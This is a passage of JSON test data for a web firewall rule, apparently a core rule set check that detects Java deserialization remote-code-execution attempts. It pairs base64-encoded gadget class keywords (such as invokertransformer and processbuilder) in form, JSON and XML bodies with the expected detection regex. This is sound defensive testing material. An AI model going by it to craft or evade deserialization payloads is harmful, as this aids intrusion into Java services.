"transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Gludm9rZXJ0cmFuc2Zvcm1lcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Gludm9rZXJ0cmFuc2Zvcm1lcg=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Gludm9rZXJ0cmFuc2Zvcm1lcg\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Gludm9rZXJ0cmFuc2Zvcm1lcg</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Gludm9rZXJ0cmFuc2Zvcm1lcg</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Gludm9rZXJ0cmFuc2Zvcm1lcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Gludm9rZXJ0cmFuc2Zvcm1lcg\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Gludm9rZXJ0cmFuc2Zvcm1lcg\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Gludm9rZXJ0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BpbnZva2VydHJhbnNmb3JtZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BpbnZva2VydHJhbnNmb3JtZXI=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"BpbnZva2VydHJhbnNmb3JtZXI\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">BpbnZva2VydHJhbnNmb3JtZXI</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">BpbnZva2VydHJhbnNmb3JtZXI</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 